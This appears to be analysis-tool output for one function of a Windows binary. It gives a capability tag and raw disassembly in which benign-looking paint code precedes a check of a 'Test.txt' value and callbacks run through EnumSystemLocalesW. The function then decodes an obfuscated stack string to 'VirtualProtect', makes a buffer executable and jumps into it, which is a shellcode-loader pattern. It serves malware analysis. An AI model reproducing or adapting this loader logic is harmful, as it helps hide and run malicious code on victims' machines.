Function at 0x402060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x148
mov rax, qword [0x00412040]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov ecx, 0x68
mov qword [rsp + 0x160], rbx
call fcn.00402e20
test rax, rax
mov rbx, rax
je 0x4020ab
mov qword [rax + 0x58], 7
mov qword [rax + 0x50], 0
mov word [rax + 0x40], 0
jmp 0x4020ad
xor ebx, ebx
xor edx, edx
mov rcx, rbx
mov qword [0x004140e8], rbx
lea r8d, [rdx + 0x68]
call fcn.00403f10
lea rcx, [rbx + 0x38]
lea rdx, str.Test.txt
mov r8d, 8
call fcn.004025d0
mov r9, qword [0x004140e8]
cmp qword [r9 + 0x50], 0
je 0x402160
mov r10, qword [r9 + 0x50]
cmp r10, r10
cmovb r10, r10
cmp qword [r9 + 0x58], 8
jb 0x4020fe
mov rcx, qword [r9 + 0x40]
jmp 0x402102
lea rcx, [r9 + 0x40]
mov r8d, 4
lea rdx, str.6666
cmp r10, r8
cmovb r8, r10
test r8, r8
je 0x40213a
nop
nop
movzx eax, word [rdx]
cmp word [rcx], ax
jne 0x402520
add rcx, 2
add rdx, 2
sub r8, 1
jne 0x402120
xor r8d, r8d
test r8d, r8d
movsxd rax, r8d
jne 0x402158
cmp r10, 4
jb 0x4023be
xor eax, eax
cmp r10, 4
setne al
test eax, eax
jne 0x4023be
mov qword [rsp + 0x168], rbp
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x130], r12
mov qword [rsp + 0x128], r13
lea rdx, [rsp + 0xa0]
xor ecx, ecx
mov qword [rsp + 0x120], r14
mov qword [rsp + 0x118], r15
call qword [sym.imp.USER32.dll_BeginPaint]
lea rdx, [rsp + 0x68]
xor ecx, ecx
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x61], 0
mov byte [rsp + 0x62], 0x80
mov rbx, rax
mov qword [rsp + 0xf0], rax
mov byte [rsp + 0x63], 1
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rsp + 0x70]
mov rcx, rbx
cdq
sub eax, edx
sar eax, 1
mov r12d, eax
mov eax, dword [rsp + 0x74]
cdq
sub eax, edx
sar eax, 1
mov esi, eax
cmp r12d, eax
mov ebp, eax
cmovl esi, r12d
sub esi, 0x14
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r8d, dword [rsp + 0x74]
mov edx, dword [rsp + 0x70]
mov rcx, rbx
mov r15, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, r15
mov rdx, rax
mov r14, rax
call qword [sym.imp.GDI32.dll_SelectObject]
lea rdx, [rsp + 0x68]
mov r8d, 6
mov rcx, r15
mov r13, rax
call qword [sym.imp.USER32.dll_FillRect]
lea edi, [rsi + rbp]
lea ebx, [rsi + r12]
sub ebp, esi
sub r12d, esi
mov r9d, edi
mov r8d, ebx
mov edx, ebp
mov ecx, r12d
call qword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov rcx, r15
mov rdx, rax
mov rsi, rax
call qword [sym.imp.GDI32.dll_SelectClipRgn]
mov dword [rsp + 0x88], ebx
xor ebx, ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x78], r12d
mov dword [rsp + 0x7c], ebp
mov dword [rsp + 0x20], 1
lea r8d, [rbx + 2]
mov word [rsp + 0x80], 0xff00
mov word [rsp + 0x82], 0
mov word [rsp + 0x84], 0
mov word [rsp + 0x86], 0
mov dword [rsp + 0x8c], edi
mov word [rsp + 0x90], 0
mov word [rsp + 0x92], 0
mov word [rsp + 0x94], 0xff
mov word [rsp + 0x96], 0
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x9c], 1
lea r9, [rsp + 0x98]
lea rdx, [rsp + 0x78]
mov rcx, r15
call qword [sym.imp.MSIMG32.dll_GradientFill]
mov eax, dword [rsp + 0x74]
mov r11d, dword [rsp + 0x60]
mov r9d, dword [rsp + 0x70]
mov rcx, qword [rsp + 0xf0]
mov dword [rsp + 0x50], r11d
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], eax
call qword [sym.imp.MSIMG32.dll_AlphaBlend]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rdx, r13
mov rcx, r15
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
lea rdx, [rsp + 0xa0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_EndPaint]
mov r9, qword [0x004140e8]
mov r15, qword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
mov r13, qword [rsp + 0x128]
mov r12, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x138]
mov rsi, qword [rsp + 0x140]
mov rbp, qword [rsp + 0x168]
lea r8, [r9 + 0x30]
lea rdx, [r9 + 0x28]
lea rcx, [r9 + 0x20]
call fcn.00401060
mov rbx, qword [rsp + 0x160]
test eax, eax
je 0x402459
lea rcx, [0x004013f0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x00401500]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x00401630]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x004017a0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x004019f0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x00401bb0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea rcx, [0x00401cf0]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov rax, qword [0x004140e8]
mov r10, qword [rax + 0x30]
test r10, r10
je 0x4025ac
mov byte [rsp + 0xf0], 0x41
mov byte [rsp + 0xf1], 0x6e
mov byte [rsp + 0xf2], 0x77
mov byte [rsp + 0xf3], 0x79
mov byte [rsp + 0xf4], 0x7a
mov byte [rsp + 0xf5], 0x66
mov byte [rsp + 0xf6], 0x71
mov byte [rsp + 0xf7], 0x55
mov byte [rsp + 0xf8], 0x77
mov byte [rsp + 0xf9], 0x74
mov byte [rsp + 0xfa], 0x79
mov byte [rsp + 0xfb], 0x6a
mov byte [rsp + 0xfc], 0x68
mov byte [rsp + 0xfd], 0x79
mov byte [rsp + 0xfe], 0
lea r9, [rsp + 0xf0]
nop
movzx eax, byte [r9]
cmp al, 0x61
jl 0x402538
cmp al, 0x7a
jg 0x402538
movsx ecx, al
mov eax, 0x4ec4ec4f
sub ecx, 0x4c
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x1a
sub ecx, edx
add cl, 0x61
mov byte [r9], cl
jmp 0x402567
cmp word [rcx], ax
mov r8d, 1
mov r11d, 0xffffffff
cmovb r8d, r11d
jmp 0x40213d
cmp al, 0x41
jl 0x402567
cmp al, 0x5a
jg 0x402567
movsx r8d, al
mov eax, 0x4ec4ec4f
sub r8d, 0x2c
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x1a
sub r8d, edx
add r8b, 0x41
mov byte [r9], r8b
add r9, 1
cmp byte [r9], 0
jne 0x4024f0
lea rdx, [rsp + 0xf0]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x004140e8]
lea r9, [rsp + 0x60]
mov edx, dword [rcx + 0x18]
mov rcx, qword [rcx + 0x60]
mov r8d, 0x40
call rax
mov r11, qword [0x004140e8]
call qword [r11 + 0x60]
xor eax, eax
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.00402bc0
add rsp, 0x148
ret